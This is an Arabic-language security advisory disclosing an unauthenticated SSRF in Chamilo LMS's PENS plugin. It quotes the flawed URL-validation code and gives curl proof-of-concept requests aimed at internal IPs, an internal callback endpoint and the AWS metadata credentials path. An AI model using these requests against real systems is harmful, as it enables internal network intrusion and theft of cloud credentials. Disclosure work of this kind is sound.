
SSRF غير مصادق عليه في Chamilo LMS عبر إضافة PENS (pens.php) — CVSS 7.5
الخطورة: عالية (CVSS 7.5)
CWE: CWE-918 (تزوير طلبات من جانب الخادم)
المتأثر: chamilo/chamilo-lms 2.x (commit af6b7002 والإصدارات الأقدم)
الإشعار: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
نقطة نهاية إضافة PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php قابلة للوصول دون مصادقة وتقبل عناوين URL يتحكم بها المستخدم لكل من تنزيل الحزمة وإشعارات الاستدعاء. تتحقق دوال التحقق من عنوان URL من المخطط ووجود المضيف لكنها لا تقوم بأي تصفية لعناوين IP الخاصة، مما يسمح بـ SSRF غير مصادق عليه إلى الشبكات الداخلية وخدمات البيانات الوصفية السحابية.
بعد العثور على CVE-2026-33715 في install.ajax.php الخاص بـ Chamilo، واصلت تدقيق قاعدة البيانات بحثاً عن نقاط نهاية أخرى غير مصادق عليها ذات تأثيرات على مستوى الشبكة. برزت إضافة PENS (public/plugin/Pens/): PENS هو بروتوكول قديم لتسليم محتوى التعلم الإلكتروني يتضمن جلب حزم من عناوين URL خارجية وإرسال استدعاءات إلى خوادم خارجية — وكلاهما سطحان كلاسيكيان لـ SSRF.
قرأت PensProcessor.php بحثاً عن منطق التحقق من عنوان URL. تتحقق كل من isAllowedDownloadUrl() و isAllowedCallbackUrl() من المخطط (http/https) وعدم كون المضيف فارغاً — وتتوقف عند هذا الحد. لا يوجد تصفية RFC 1918، ولا فحص loopback، ولا فحص link-local. حتى التعليق يقول "returns true" بعد فحص المضيف، مما جعل من الواضح أن هذا كُتب دون مراعاة SSRF.
ما يميز هذا عن CVE السابق في Chamilo: يحتوي على متجهين مستقلين لـ SSRF — أحدهما لجلب الحزمة (يسحب الخادم ملفاً من عنوان URL يتحكم به المهاجم) والآخر للاستدعاءات (يرسل الخادم POST إلى نقاط نهاية يتحكم بها المهاجم). متجه الاستدعاء مفيد بشكل خاص لاستخراج استجابات الخدمات الداخلية، حيث سيرسل الخادم بيانات حالة PENS عبر POST إلى أي عنوان URL تحدده، وتتحكم أنت في تحليل الاستجابة.
في النشرات السحابية، يمكن الوصول إلى نقطة نهاية البيانات الوصفية 169.254.169.254 عبر كلا المتجهين.
الملف: public/plugin/Pens/lib/PensProcessor.php
متجهان متميزان لـ SSRF:
المتجه 1 — جلب عنوان URL للحزمة (الأسطر 376، 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← لا يوجد فحص لعنوان IP خاص
}
// ثم يتم الجلب باستخدام curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
المتجه 2 — SSRF عبر الاستدعاء (السطر 318): تحدد معلمتا receipt و alerts عناوين URL حيث يرسل الخادم استدعاءات POST — بنفس غياب التحقق.
تتحقق isAllowedDownloadUrl() و isAllowedCallbackUrl() فقط من أن عنوان URL يحتوي على مخطط http/https ومضيف غير فارغ. النطاقات الخاصة RFC 1918 (10.x، 172.16.x، 192.168.x)، وloopback (127.x)، وlink-local (169.254.x — البيانات الوصفية السحابية)، وما يعادلها من IPv6 — كلها مقبولة.
# المتجه 1: استكشاف الشبكة الداخلية عبر package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# نقطة نهاية بيانات AWS الوصفية
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# المتجه 2: SSRF عبر الاستدعاء — يرسل الخادم POST إلى نقطة نهاية داخلية يتحكم بها المهاجم
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254ملاحظة: هذا متميز عن CVE-2022-27426 (SSRF في أدوات social/links) — مسار كود مختلف، إضافة مختلفة، غير مصادق عليه.